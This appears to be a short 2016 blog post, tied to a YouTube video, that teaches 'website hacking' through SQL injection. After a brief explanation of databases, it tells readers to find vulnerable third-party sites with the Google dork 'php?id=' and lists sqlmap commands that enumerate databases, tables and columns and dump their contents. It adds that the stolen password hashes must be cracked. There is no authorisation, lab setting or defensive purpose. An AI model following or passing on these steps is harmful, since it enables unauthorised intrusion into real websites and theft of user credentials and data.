[postlink]
https://dirtube.blogspot.com/2016/02/hacking-website-kali-linux-20.html[/postlink]
http://www.youtube.com/watch?v=btZ4epHw3vo
endofvid
[starttext]
WEBSITE HACKING
---------------------------------------------------------------------------------------------------
Some Knowledge Of website:
-The website use database (back end ) for storing information
which are not available publicly.
-SQL(Structured Query Language )is used to get data form database.
-so sqli means sql injection.(affecting the sql)
-database contains tables
-tables are interconnection of rows and columns.
---------------------------------------------------------------------------------------------------
-First let's find some vulnerable website.(sqli)
For that search "php?id=" in google.
-"php?id=" is called as dork. There are many dorks
available on the Internet to find the vulnerable site.
-After finding the vulnerable site
Use sqlmap tool in kali
commands
-------------------------------------------------
sqlmap -u "targetwebsite.com" --dbs
(the above command gets the database of the website)
sqlmap -u "targetwebsite.com" -D "selected_database" --tables
(It will get the list of tables from the website )
sqlmap -u "targetwebsite.com" -D "selected_database" -T "selected_table" --columns
(list the columns of selected table)
sqlmap -u "targetwebsite.com" -D "selected_database" -T "selected_table" -C "selected_column" --dump
(list the data )
The password are hashed you have to decrypt it.
[endtext]

Posting Komentar